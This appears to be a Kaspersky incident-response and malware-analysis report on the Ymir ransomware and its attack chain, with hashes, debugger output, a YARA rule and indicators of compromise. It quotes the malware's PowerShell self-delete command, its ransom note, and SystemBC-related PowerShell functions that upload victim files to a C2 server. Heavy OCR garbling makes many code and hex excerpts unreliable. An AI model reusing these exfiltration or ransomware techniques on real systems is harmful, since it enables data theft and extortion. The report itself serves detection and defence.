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Introduction

In a recent incident response case, we discovered a new and notable ransomware family in active use by the
attackers, which we named “Ymir”. The artifact has interesting features, including a large set of operations
performed in memory with the help of the malloc, memmove and memcmp function calls.

In the case we analyzed, the attacker was able to gain access to the system via PowerShell remote control
commands. After that, they installed multiple tools for malicious actions, such as Process Hacker and Advanced IP
Scanner. Eventually, after reducing system security, the adversary ran Ymir to achieve their goals.
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In this post, we provide a detailed analysis of the Ymir ransomware, as well the tactics, techniques and procedures
(TTPs) employed by the attackers.

Analysis

Static analysis

Our analysis began with a basic inspection of the artifact. We started by analyzing its properties, such as the file
type, and relevant strings and capabilities, as shown in the table and images below.

Hash Value

MD5 12acbb05741a218a1c83eaalcfc2401f

SHA-1 3648359ebae8ce7cacae1e631103659f5a8c630e

SHA-256 ¢cb88edd192d49db12f444f764c3bdc287703666167a4ca8d533d51f86bad28d8

% file sample.exe
sample.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
% trid sample.exe

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found: 14909
Analyzing. ..

Collecting data from file: sample.exe
43.3% (.EXE) Microsoft Visual C++ compiled executable (generic) (16529/12/5)
27. i ) Win64 Executable (generic) (10523/12/4)
Winle NE executable (generic) (5038/12/1)
05/2 Executable (generic) (2029/13)
Generic Win/D0OS Executable (2002/3)
File type identification

Although the binary does not raise suspicions of being packed, as its entropy is not high enough, the presence of
API calls to functions like malloc, memmove and memcmp indicates that it can allocate memory to perform

malicious functions.

$ readpe --imports sample.exe | grep -E "(mem|malloc)"”
Name:
Name: chr

Name: cmp
Name: (of0)Y)
Name: move
Name: set

Calls for memory operation functions

The binary also suspiciously imports functions, such as CryptAcquireContextA, CryptReleaseContext,
CryptGenRandom, TerminateProcess and WinExec, from operating system libraries. These API calls are typically
found in various ransomware samples.
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Even though most of the sample information is unpacked in memory during runtime, we were able to find some
useful indicators in the binary strings, including the ransom note filename and contents in a PDF file, encryption
extension, PowerShell commands, and some hexadecimal integers used by the encryption algorithms, as shown in
the following images.
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130 obj

Type [Page

Parent 10 R

fContentz 150R
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MiediaBio [0 0 555000000 842 000000

1or browier
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delete
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RandomMumberstans: CopyRangelodi) is not supported by this fons
Seream TransformationFilter invalid ones-and-zeros padding found
space

PowerShell auto-delete command and hexadecimal integers

Compiler string

The attacker used the MinGW compiler, a native Windows port of the GNU Compiler Collection (GCC).

Qx0065TR20 | rdata:53ba0) SCAN
D065TRED | rdatac53ba0) SCAN
heO0E58130 | rdatac54 180) SCAN
0658160 (_rdatac54 160) SCAN
he00B58140 | rdata-54140) SCAN
QxD0E5S120 | rdata:54120) SCAN
DeDOB5E100 | rdata-54100) SCAN

The following table shows other useful string indicators we found in the course of our analysis.

Aseil
Azt
Ascil
Ascii

Ascil
Agcil
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Type Value Description

String powershell -w h -c Start-Sleep -Seconds 5; Remove-ltem -Force  Auto-delete command execution

(command) -Path via PowerShell.

String hxxps://github[.Jcom/qTox/qTox/releases/download/v1.17.6/setup- Present in the PDF, software

(URL) gtox-x86_64-release.exe (qTox client) for contacting the
attackers.

String 6C50y2dVr6 Encryption extension.

String INCIDENT_REPORT.pdf Ransom note PDF filename.

(filename) PDFs are placed in various
directories.

String D:20240831154833-06°'00° PDF creation date metadata.

(date)

String x64dbg Debugger name.

One interesting fact is that the PDF creation date was August 31, 2024, which matches the binary compilation
timestamp (2024-08-31), as shown in the image below.

property value
footprint > sha236 CB23EDD192D40DB12F444F764CIBDC287703666167A4CABDS533D51F26EA42EDE
first-bytes » hex 4D 5A 9000 03 00 00 00 04 00 00 00 FF FF 00 00 BS 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
first-bytes » text N o e S R R R R I S s
file > size 2733568 bytes
entropy 6.232
signature n/a
executable
64-bit
Gul
n/a
compiler-stamp Sat Aug 31 21:48:56 2024 | UTC
debu amp n/a
res tamp n/a
import-stamp n/a
export-stamp nfa
mames
file chusersiuser\desktopisample.exe
debug n/a
export n/a
VErsion n/a
manifest n/a
NET > module n/a

Malware compilation timestamp

Static analysis also shows that the PDF used as the ransom note is present in the .data section of the binary. The
information hardcoded in this kind of file is very useful for creating detection rules and indicators of compromise.
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PDF file containing a ransom note

After reaching the main function, the malware executes another function with calls to other functions to get system
information. To streamline our analysis, we renamed this function to Get_System_Information:

public start
start proc near

sub rsp, 28h
mov rax, cs:off_6158E@
mov dword ptr [rax], 1

call Get_System Information
call sub_ 481188

nop
nop

add rsp, 28h
retn

start endp

Malware entry point

The malware also contains some execution restrictions which are activated when certain parameters are set. For
example, the --path parameter disables self-delete, allowing the attacker to reuse the binary for other directories.
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C:\Users\user\Desktop>sample.exe --path test

C:\Users\user\Desktop>dir test
Volume in drive C has no label.
Volume Serial Number is 7EC3-F2C7

Directory of C:\Users\user\Desktop\test

48 PM <DIR> .
48 PM <DIR> -

, 6:48 PM INCIDENT_REPORT.pdf
18/88/2824 :48 PM test.docx.6C50y2dVre
le/e8/2e24 - PM 3,879 test.txt.6C50y2dVré
18/88/2824 48 PM 3,079 test.xlsx.6CS5oy2dVreé

4 File(s) 34,663 bytes
2 Dir(s) 120,214, ,184 bytes free

C:\Users\user\Desktop>trid.exe sample.exe

TrID/32 - File Identifier v2.24 - (C) 2803-16 By M.Pontello
Definitions found: 18251
yzing...

Collecting data from file: sample.exe
41.1% (.EXE) Microsoft Visual C++ compiled executable (generic) (16529/12/5)
26.1% (.EXE) Win64 Executable (generic) (10523/12/4)
12.5% (.EXE) Winle NE executable (generic) (5838/12/1)
5.1% (.ICL) Windows Icons Library (generic) (2859/9)
5.9% (.EXE) 0S/2 Executable (generic) (2029/13)

The artifact is not deleted when running with the —path parameter

While reverse-engineering the sample, we found that it borrowed code from functions related to CryptoPP, an open-
source cryptographic library written in C++.
18 aN8cryptopp32au db 'NBCryptoPP328uthenticatedSymmetricCipherBaseE’,@

E align 28h
13 aNdcryptopp32dl db "N8CryptoPP32DL_ElgamallLikeSignatureAlgorithmINS_7IntegerEEE’,@

C align 28h
3 aN8cryptopp32dl_@ db "N8CryptoPP32DL_ElgamallikeSignatureAlgorithmINS_S8ECPPointEEE’,@

C align 28h
(@ aN8cryptopp32dl_1 db 'N3CryptoPP32DL_ElgamallLikeSignatureAlgorithmINS_9EC2NPointEEE’,®

E align 28h
18 aN8cryptopp33pk db '"N8CryptoPP33PK_SignatureMessageEncodingMethodE’,8

~data - aliga—2@k
aNdcryptopp34pk db FHSC';ptcPP34PK_Enc';pticnﬂessageEnccdingﬂethcdf'48

DETR RREF T = s e A

align 28h

CryptoPP functions

The malware also has a hardcoded list of file name extensions to exclude from encryption.
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Dynamic analysis

a3se
aldv
aAni
abBat
aBin
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aCmd
aCom
alpl
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abDeskthemepack
aDiagcab
aDiagcfg
aDiagpkg
aDll
abrv
aExe
aHlp
alcl
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aMod
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alls
aNomedia
alcx
aPrf
aRom
aRtp
ascr
ashs
aspl
asys
aTheme
aThemepack
aldpx
alock
akey
aHta
aMsi
aPdb

.386°,0
.adv’,8
.ani’,e
.bat’,8
.bin",8
.cab’,8
.cmd’,8
.com’,8
.cpl’,8
.cur',8
.deskthemepack’,
.diagcab’,®@
.diagcfg’,e@
.diagpkg"’,®@
.dll",8
Ldrv',8e
exe',8
.hlp*,@
.icl',8
.icns',8
.ico’,8
.ics',8
Lidx',8
A1df',8e
Ank’,8
.mod"’,8
.mpa"’,8
.msc',@8
.msp’,8
.msstyles’,@
.msu’,8
.nls",@
.nomedia’,@
ocx” L8
.prf’,8
.ram’,8
.rtp’,8
.scr',8
.shs',@8
.5pl’,8
.5ys',8
.theme' ,8
.themepack’,8@
px’,8
.lock’ ,@
ey,
.hta’,8
.msi",8
.pdb",8

ol

While running the ransomware, we spotted hundreds of calls to the memmove function. After analyzing the data, we
found that it loaded small pieces of instructions into memory for performing malicious functions. The following image
shows a fragment of the malware loading environment variables after calling memmove.
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The malware constantly uses the memmove function while enumerating subdirectories and files inside the affected

system, so they can be encrypted later.

ac
5C
44
65
6E
45
20
&C
&0
72
36
43
33
6C
00
53
&0
5C
65
57
5C
61
41
4E
&F

5C

4F
&5
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72
64
53
a0
5F
43
72

53
72
43
70
&D
D
73
&F
73
6D
&D
G6E
5C
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55
2D
En]
65
76
77
&5
50
52
74
46

Environment variables loaded into memory

........ ALLUSERS
PROFILE=C:%Progr
ambata. APPDATA=C
thUsershuserhApp
DatasRoaming.Com
monProgramfFiles=
C:\Program Files
“Common Files.Co
mmonProgramFiles
(x86)=C: "\ Program
Files (x86)\Com
mon Files.Common
Programwe432=C: %
Program Files\Co
mmon Files.COMPU
TERNAME=DESKTOP-
MFDETEGR . ComSpec=
C:\windowshsyste
m22hcmd. exe.Driv
erData=C:\Window
shSystem32\Drive
rsi\bDriverData.FP
S5_BROWSER_AFPP_PR
OFILE_STRIMG=INT
ernet Explorer.F

ES BIDFEDFF £all <IMFP.&memmoves

49: BEO424
31D2

49: R95C 2?4 NR

mov rax,qword ptr ds:[riz]
xor edx,edx
mowv aword otr ds:Tre12+81.rhx

Directory enumeration

rax:L"CiNN",

[riz]:L"c:\\"
edx:L"iDEFENSE"

It also uses memmove to load strings that contain locations in the victim’s filesystem and are used for comparing
with common directory names during runtime.

Bou ® Eredgonts ™ MemoryMep [ colStack S sm smbds O sone | P Referencs W Theads iHendes  §7 T
. ITH 31 Wy rEw, TRl
- 481808424 28 Tea rd,quord pIr i Sl il
L 453 3400 mgr_r&d, rad
. £8 COLB000O0 EAN sample.ss0sF0 B ODOONIO0OODOOE
H B 4815306 mov gward prr o REX  0OOONOOO0N0O0005
™ 45:ERCL BV FEx, AR BLE  OODDGCOOD0AS B
- 481884424 1B mov rax,qword pIr BOE  OOODO0D000E0439F =ingel™
" 48; 8346 10 mov guward ptr ds:[reicl |T|r RER  OO0O00OO000EAF FRO &l R ™
- 4318308 mov T8, Fha LI CODO0OOOO0SAREIN
- & BRER wov_rdx,ri2 rdx niel ri RSI  COOO00OO00SAF BRD
o EB CEIZEEFF (a1l 1uP. ememroves Lo TR0 &7C N Rerd Ul er \Desk Eoph \ panp e, ene”
. $81885C24 28 nov row,qeord pIe
. :::wt ':‘: ;‘.&-ﬁ""‘ s“ ;‘; EE OO0 IRI005
HE 483 BDO0 AEB20500 e rox,quoed ptr s [604000] as: foooooneocoss | B2 Feet e
- ;a 10050400 E&l sample.sFaeio ELl  S401000101030100
4 50 RAZ  OODDIGOOD0EO43IF “ingel”
- a0 Ri3 DO0000O00084F T 20 &"pdf”
" 20 Kid ODDOGOOONOEAF SBO
- 50 W | M1S  OODDDOOODOSARFTID A" pwt Ficbeiws . T
- an
b RIP  OODDOGOO00EARDAS aaep] &, DOOOD00000E ABDAS
[T
< ¥
S TEXT: CODONOCOD0LASD L sample.exel S1AB04S SLABL4E Default (x4 fashcall i + | urkec
T rex o0 SOBAFACT SEAF EET
& rdw OOGOO0000EDE 3HF sanp] e, COOOGO000E043IF “1ntel”
3 rE OU0000000000000S OOGOOD00CDDNNGTS
Ar rs 000

e DOOGOO00G000G30
§: [rag+20) O000OOD0COBAFTIO DOCOONOOOOBAFTE0 &7 Frecyc)e, bin®

Wourpi @Dz D3 PDumps  PRDumes @ warht  Bellsels 3 smer
Address Hex -
DOOOO0000NGAF 75 I oL i oA 00 00 0000 00
DOOO000G3OBAF 76D ( 63 &F G &C|&% &7 2@ 00|73 &3 O0 0O 00 OO
OO0 MODEAFT T L i 00 00| 00 00
N0COOO0CONRAF 7RO (38 77 67 &F |64 GF € 7 €2 74 00 0O
DOCO0000G0AF 790 Lo i 3 00 0000 0
I4 7T B9 GE |64 BF E 7 7 73|00 OO
0 L0 F7 8a 00 20 Q0| 0F 00 OO0 0O |00 00
77 €9 GE GA|EF 77 73 00|E6 00 04 E2|00 00
0 rd 0 04 DO O0 00|00 OO

U0 00 00 00
- e
T rZ BF G772 BL &0 20
13 GO 00 00|00 00 00 00

70 72 GF BT
BO 48 1L 00

73 Bi S0 64
00 00 09 00

B0 24 BC L0 D0 Co Uu u)

0 00 00 00|00 00 00 00| .8
&6 63 &C &2 (75 00 00 00
12 00 00 00|00 00 08 00

of 00 00
1 74 61
19 00 00 00|00 oo 00 00|*

0000 00 00 00
0o|FB 7F 00 00

19 00 00 00

4 G
74 B 72 N6 T2 &F 77
o

— e RR LT D
)| 8570000 S0]00 00 00 00| ..
ol 00 00 00|00 o0 00 00|,

—_—
T

{ut) OU el Oy
00 00 00 00
00 00 0O 00
04 DO 30 OO

00 T4 0L 00
00 00 00 00
01 0l 00 50
62 00

During the malware execution, some additional libraries are loaded, such as CRYPTSP.dII, rsaenh.dll, bcrypt.dll and

kernelbase.dll.

00 00 00 00| Z .
)| OB 00 00 00|00 D0 00 00 .

73 65 72 00|00 00 00 00
00 ©0 00|00 GO 00 00

W

Strings loaded via memmove

l-l;" 0 sample. DOOGON0GGO40236S from

L
FETUFN TO Sample. H00O0000G04015 23S Trom
&"frecycie. bin®

a"Srecycie.bin™

a"eonfig. mii™

A" Iwindows . ~ws”

return o savple. 000DDDOMOOSFA51Z from

a"progran T1les (x88)"

4"prograndata”
a"system wvolume 1nformarion”
F a"ter browmser”

1

abeot”
A"windows . old”

|
o|a"progran T1les™
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l

l.*‘ -f}. ;.0..

The artifact uses the stream cipher ChaCha20 algorithm to encrypt files, appending the extension .6C50y2dVr6 to

each encrypted file.

hessssssnsnsnsnennsns

482801

= OFB2 AZ010000

4C: 8809 ‘

49:83F8 4F

- 73 58

£
4C: BBD'Y

48:28D01
OFB2 AZOLODOO

BD1
AERT A3010MON

BAFEFFFF
LBBC4 48

&6GGIE OF 1F|
QFLFO0
Eat

F3;0FEFED &
OF 1100
OF1i48 10
OF1150 20

E¥o 36

%
=
-

| nmmo=FF FF FF FE FF FF FF FF 00 00 0O 00 00 G0 GO 00
xETw0r 0 PTF 85 [BSw0rd pTC 38 [0000000000G060F 0] | =[0000O0ONOGEIGIFD " eNpand IT-DyTE KCRAChA_avk.CppT]=65 TH TO &1 6E &4 I0 33 B2 ID 62 TR T4 BF I0 68

|  TEXT; DOOODONODOAICLED Sanple, exe: JICIS0 #2550

48; 8561 S80DO0DD
F3:0FGF48 40

EBS1 SODO0000
48! BEE1 EBO0C0O0

moy rll,rcx

Sub radx,rcx

3B n:un TEFSETIEZEE
cmp r

e A
ints

mov ril,rcx

Sub rdx,rcx

b ntd11.7FresT1E2E2E
ines

mov ril, r:-

Sub rdx
in nrnli TEEH‘.?IE)E)F

Runtime loading of DLLs

CHN sangle. 428700
add rEp, 48

B400 DOOD 1)
‘9BIFIDOD L

arl'ru.:l.'rrwrd pEr
o movdqu smnZ,xmeword ptr
Bt

mov dword pre ds:[raxsia],
xor_edx, edx
THET 1

e LA — i
Aoy edx,dward ger di:(re]

wimword pte da: [O000000000GIS0FNT : Teapand 33-byte kthacha s, cop”

ru:l."\\‘?h\"
L'C W ndows, |, SYSTem32 \CRYPTSP. a1 1"
4F:"0°
rii:“bod
Fdx:L"bcrypt. d1l1”
ril:"Bos

T H

i

w1indows',\ System32\\rsasnh.dl]

ChaCha20 encryption

Additionally, it copies the PDF contents from the .data section and uses the _write and _fsopen functions to
generate a ransom note in PDF format within every directory in the affected system.

| ! [ ooguissz |
(2948 1zomoSITIPM 4616 msvotdi 00000002
2046 1Z0E051T1PM 4616 mavetdl ¢, D¥DD00000000S! 8500, TRUE 00011261
|20147  120805171PM 4616 KERNELBASE.QM 000116, NULL, HULL, NULL, STATUS. SUCCESS 00010783
2143 IZOBOSITIPM 32 samplese 00000 i SRR e
29145  120E051TIRM 3112 sample.exe 1} 0.O000001
{26180 12080517T1PM 112 sampleese 1 £00D00G
20151 12080SATIPM 3NZ  sampleexe " 00000001
20152 120G051T1PM 3212 samplese 0.0000001
29153 120805071PM 312 sampieese 0.0000001
Pre-Call Value Prst-Call Value ™ J ”z ”1 By el
5 5 ¢000 2B &0 2d 31 Ja 2E 3 aZ c3 a3 0a 31 20 30 20 €f €2 €a SPDT-1.4.%.....1 0 obj
2800 Sfa500 16 Om 3c 3: DI ar &4 5'9 '—‘" €z €6 20 22 29 0a 2f 43 72 €6 61 T4 €L 72 << _/Title (). /Creator
it Dei00000000 = 20 20 £e £ 00 77 00 €5 00 €8 00 74 00 &4 00 €= 00 74 00 €F 00 70 P A
25426 25426 o0 €4 00 €€ 00 20 00 30 00 Za 00 3L 00 32 00 2@ OO 3€ IS Oa 2f 50 A€, 0. 1.2.__€)./P
. 72 6f €4 76 €3 €6 T2 20 28 fa £f 00 61 00 74 Q00 20 00 36 00 Za 00 roducer (...Q.t. .6...
3L 40 38 00 3e 00 33 25 Oa 2£ 43 72 €5 61 T4 €4 £ €e 44 €1 74 €6 1.8...3)./CreavionDate
25406 20 28 44 3a 32 30 32 34 30 38 33 31 31 35 34 38 33 33 24 30 3€ 7 ({D:30240831154533-0€"
30F 30 237 25 Oa 3@ 3e Da €5 Em £4 6f €2 €a Da 32 20 30 20 EF €2 €a J0"].>>.endebl.I 0 obj
Oa 3c 3c Ja 2F B4 TS TO €5 20 £ 43 EL T4 €L &c €f €7 Oa Zf 50 €1 << /Type /Catalog./Fa
€7 65 T3 20 33 20 30 20 52 On Je 3e On €5 Ge 64 6 62 64 On 34 20 ges 3 0 R.>:.endobd. 4
30 20 €Ff €2 6a Oa 3= 3= Oa 2f 54 795 70 €5 20 2¢F 45 73 T4 47 53 74 0O ab).<<_/Typs /ExcCSut
€1l 74 €6 0a 2f 53 41 20 74 T2 76 €6 0@ 2f B3 4d 20 30 Ze 30 32 0a ate./5h true.SS5H 0.02.
108 2£ €3 €1 20 3L e 30 Os 3£ 43 41 20 21 2e 30 On 2£ 41 45 §3 20 €6 soa 1.0./CA 1.0./AIS £
0lle €l Ec 73 €5 Oa 2f 53 44 €1 73 €b 20 2f 4 €f €@ €5 3& 3@ Oa €5 €8 alas. /OMask /Noanes» en
134 &4 Ef €1 €a Oa 35 20 30 20 €f €2 €a Oa 5b 2f 50 €1 74 T4 €5 72 &@ dob).5 0 ob). [/Paccarn
» 14 a 20 2f 44 €6 T6 €9 63 €6 652 47 42 5d Om 65 & €4 €f €2 6a Oa 36 20 JDeviceRGE] .endob] . €
EO B0 30 _£8 5% Ko Do Bo Fe Do 38 EA TR N L8 A0 28 B0 _£1 _£T S8 Q= & N sl o (Teemm  (Tieme

The ransom note informs the victim about what happened to the affected system and instructs them to contact the
attackers for a deal. Although the note mentions that the attackers have stolen the data from the affected machine,

Ransom note write operation

the malware does not have any network capabilities for data exfiltration. This leads us to believe that the

adversaries would steal data with other means once they obtained access to the computer, such as through HTTP,

FTP or cloud storage uploads.
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#? What do I do?

The first thing you should do is inform your bosses about the
incident.

You'll have to pay us to recover your files. Only we have the unique
token.

Don't try to use any third-party applications to recover your files,
they may be damaged irretrievably.

You need to contact us

You can send us 1-3 modified files and we will prove that we can
recover them.

We will provide proof of the stolen data.

To contact us, install qTOX messenger.
https://github.com/qTox/gTox/releases/download/v1.17.6/setup-

Add our contact and we can make a deal.

Ransom note fragment

We spotted one odd string, a comment written in the Lingala language. This language is used in the Democratic
Republic of the Congo, Republic of the Congo, Angola and the Central African Republic.

Comment in Lingala found during malware execution

Another interesting fact is that the sample searches for PowerShell in each subdirectory. Once PowerShell is
located, the malware uses it for deleting itself. In our investigation, we copied powershell.exe into our Desktop
folder, so it was used for deleting the sample.

L TFF9671EICTF o ints3
- 4C: BBDD mov rii,rcx RT1CopyMemory

EX] 48: 2801 sub rdx,rex raxiL"C: &r FLARE'\D&sktop'\powershell. exe
. = OFBZ AZ0L0000 ib ntdli.?FF!S?lEZEZE

PowerShell binary search

The following diagram shows a summary of the sample’s execution. Note that the only child process created was
powershell.exe — the malware creates a PowerShell instance even if it finds one in the system. Subsequently,
PowerShell calls conhost.exe, which is used for running services in the background.
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[3]
sonhost.exe
(PID: 7448)

CREATE PROCESS

HAS THREAD CREATE PROCESS CREATE THREAD

sample.exe

KILL OWN PROCESS

Malicious processes
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Process tree

The malware calls PowerShell with the cmdlet Start-Sleep to wait 5 seconds, and finally, uses the Remove-ltem
command to delete itself from the machine, as shown in the image below.
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btz DOMOGSMIHZISL nampl. exe: 2080 SA0H
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YARA rule

== h-c -Ssconds i £

Based on our analysis of the sample, we developed the following YARA rule for detecting the threat in real time. The

rule considers the file type, relevant strings and library function imports.
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1  import "pe"

2

3 rule Ymir

4 |

5 meta:

6 author = "Kaspersky - GERT"

7 description = "Yara rule for detecting the Ymir ransomware."
8

target_entity = "file"

10  strings:

11 $s1 = "powershell -w h -c Start-Sleep -Seconds 5; Remove-Iltem -Force -Path"
12 wide ascii nocase

13 $s2 = "setup-qtox-x86_64-release.exe" wide ascii nocase

14  $s3 = "6C50y2dVr6" wide ascii nocase

15 $s4 = "INCIDENT_REPORT.pdf" wide ascii nocase

16 $s5 ="D:20240831154833-06" wide ascii nocase

17 $s6 = "ChaCha" wide ascii nocase

18 $s7 = "x64dbg" wide ascii nocase

19  condition:

20 (3 of ($s*)) and pe.imports("msvcert.dll", "memmove")
21 }
Telemetry

Using the above rule, we were able to query threat intelligence portals and find a similar sample originating from
Pakistan. We believe that the attacker used a VPN network or Tor to hide their IP. The artifact we discovered looks
like a test binary sent by the attacker to check if it would be detected by security vendors. The sample receives a --
path parameter from the command line, which specifies the directory to be encrypted. However, it neither encrypts
the files nor generates a ransom note.

C:\Users\user\Desktop>pakistan_sample.exe --path .
Number of threads: 2
Directories processed ©

Files processed 13
Directories excluded ©
Files excluded 13

Work time ©.562804 seconds

Execution of the test sample
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What caught our attention was that this test version of the executable, similarly to the full-featured sample, did not
delete itself when executed with the --path parameter, which made sense, since the adversary might want to select
certain directories during the attack.

By comparing the two detections, we concluded that the final sample with the fully enabled encryption features,
unlike the test variant, had extended functionality implemented in additional strings. These included the extension
appended to the name of the encrypted files ( .6C50y2dVr6) and the information present in the PDF file generated
as a ransom note.

YARA matches comparison

At the time of our research, 12 security vendors including Kaspersky detected the threat.

Security vendors® analysis on

Popular threat label Threat categories tofan  ransomwane

ARtiy-AVL

Kaspersky

Trellis [ENS) Zanealarm by Check Posnt

The ransomware incident

In addition to analyzing the malware, we managed to investigate an incident in Colombia where the Ymir sample
was obtained. Our forensic analysis revealed that crucial evidence had been lost through the attacker’s efforts to
cover their tracks. We at Kaspersky GERT were able to identify that two days before the ransomware deployment, a
new RustyStealer threat was detected on multiple systems, allowing the attackers to control the machines, send
commands, and gather information from compromised infrastructure. Malicious activity was detected on a domain
controller shortly after, including compromised access on behalf of legitimate users, including one with high
privileges. The initial RustyStealer sample was a PE file compiled with Rust and deployed to Windows\Temp under
the name AudioDriver2.0.exe.

Filename AudioDriver2.0.exe

Size 3334144 bytes (3.2 MB)
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MD5 5ee1befc69d120976a60a97d3254e9eb

SHA-1 e6c4d3e360a705e272ae0b505e58e3d928fb1387

This sample, named Trojan.Win32.Sheller.ey by Kaspersky, has the ability of gathering information about the file
system. This sample has obfuscated content for obstructing analysis and includes shared modules indicating that
the artifact can invoke functions from APIs, such as native Windows DLLs.

This sample also connects to the C2 server 74.50.84[.]181 on port 443, detected by Kaspersky as a host for
malicious files since August 2024.

Last download url «* Download count Last download date First download date Last threat
| 1.181:44 ! &0 2024-09-28 11:15 2024-0%-280%9:11 EXACT:-TrojanWiné4 SleepObfkp
' 44 2024-08-2104:31 2024-08-2104:11 EXACT:TrojanWin32.Shellerey
C2 server

The attackers compromised the domain controller and used it to continue infiltrating systems in the targeted
infrastructure. They abused compromised credentials gathered by the stealer to hop between systems using WinRM
and PowerShell remote control capabilities, and then executed a set of two scripts that were confirmed to be a part
of the proxy malware threat SystemBC.

Filename 1.ps1 1.ps1

Size 16239 bytes (15 KiB) 4209 bytes (4 KiB)

MD5 5384d704fadf229d08eab696404cbba6 39df773139f505657d11749804953be5

Path Y%windir%\temp\ HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Both scripts use PowerShell to establish a covert channel to the IP address 94.158.244[.]69 on port 443. Based on
the strings from the scripts we were able to obtain, we implemented Yara rules for identifying other samples and C2
servers configured with the same codification and spotted in the wild.

SHA256 First First C2 server Verdict
seen reported
from

8287d54c83db03b8adcdf1409f5d1c9abb1693ac  2024- Australia  94.158.244][.]69
8d000b5ae75b3a296¢cb3061¢ 09-16

03:24:06

uTC

51ffc0b7358b7611492ef458{df9b97f121e49e70f  2024- Ukraine  85.239.61[.]60 = UDS:Trojan.PowerShell.
86a6b53b93ed923b707a03 08-18 Dnoper.posh
18:59:01
uTcC

b087e1309f3eab6302d7503079af1ad6af06d70a9 2024- Ukraine  85.239.61[.]60  Trojan.MSIL.Dnoper.sb
32f7a6ae1421b942048e28a 08-17

02:43:55

uTC

One of these scripts was spotted in multiple systems, collected as a script block for PowerShell that included a
different approach and a different C2 system (5.255.117[.]134 on port 80). It was probably used to exfiltrate
information from the infrastructure according to the following hardcoded functions and their instructions.

o GetServerByFilename,

14/19


https://opentip.kaspersky.com/5ee1befc69d120976a60a97d3254e9eb/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______611b99fb74edb6be&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/74.50.84.181/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______adba8669abf0e03d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/11/08154350/Ymir_ransomware_31.png
https://opentip.kaspersky.com/5384d704fadf229d08eab696404cbba6/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______287122f98c08e143&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/39df773139f505657d11749804953be5/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b7faa716c32f41a6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/94.158.244.69/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ab72bbc8dd71aa9f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/8287d54c83db03b8adcdf1409f5d1c9abb1693ac8d000b5ae75b3a296cb3061c/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______fa91be46068550ef&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/94.158.244.69/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ab72bbc8dd71aa9f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/51ffc0b7358b7611492ef458fdf9b97f121e49e70f86a%206b53b93ed923b707a03/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ba37b237d2962274&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/85.239.61.60/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______42e35a42391dfb33&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/b087e1309f3eab6302d7503079af1ad6af06d70a932f%207a6ae1421b942048e28a/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e40dfe931e6e866b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/85.239.61.60/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______42e35a42391dfb33&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/5.255.117.134/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______582bf3fb0dd76213&utm_source=SL&utm_medium=SL&utm_campaign=SL

¢ SendFile,
e SearchRoot.
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function GetServerByFilename ([string]$filename) {
$default server = &APOS;http:!IS.ZSS.llT.134:BQ&BPOS;

foreach($server in $special servers.Keys) {
$like list = Sspecial servers|[$server]
foreach($like in $like list) {
if (S$filename -like S$1like) {
return $server

1

return $default_server

GetServerByFilename function

The script establishes communication with the C2 server and sends information, including a specific key that allows
the attacker to identify the affected company.

$webclient = New-Object System.Net.WebClient

$uri = New-Object
System.Uril‘${addr}?upload_key=$[uplcad_keﬂ}&project=${project}&path=${path_encoded}‘}
Swebclient.UploadFile (Suri, S5filename) | Cut-Null

# Write-Host sent.

} catch |

Write-Host “EXCEPTION:"
Write-Host §_
The URI includes a unique key for each victim

function SendFile([string]$filename, [string] $stub, [string]$path, [bool]Sremove) |

[string] Supload key = &APOS;[::::::]&APOS;

[string] $addr = GetServerByFilename -filename $filename

[string] $project = &APOS,:&APOS;

[string] $host name = [System.Net.DNS]::GetHostByName (&APOS; &AP0OS;) .HostName

if ($stub) {
$filename = $stub

Information that will be sent to C2 server

The SearchRoot function contains a loop that searches for all files that are included in the requested folder and
checks for a specific filter: the malware only uploads files with a size greater than 40 KB that were created after a
specified date.

function SearchRoot ([string]$root, [array]$include files, [Int32]$file size limit mb,
[ztring] $exclude files, [string]S%exclude folders, [string]Stemp dir, [DateTime]S%creation date threshold) |

[array]$subroots B()
$folders = (Get-Childitem -Path "${root}" -Force -Directory -ErrorAction SilentlyContinue)
# Write-Host "FOLDERS at ${root} -> °
:nextFolder ForEach ($item in $folders)
{
$path = $item.Fullname|
If(($exclude folders) -and ($path -match Sexclude folders)) |
# Write-Host "Exclude folder: ${path}”
continue nextFolder
}
$subroots += “&{path}\"
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Search function

oot}*” -Include ${include files} -Force -File -ErrorAction SilentlyContinue | where-cbject
{#_.CreationTime -gt Screation_date threshold))

GRAPOS: EAFDS7)
clude files)) |

rs) —and ($path -match fexclude folders)) |

Exclude file path: ${path}”

irphs{file} - file size too large (§{file =ize mb} Mb)
o_large filename} -path ${path} -remove Strus’
-path Spath -remove Strue

ullname
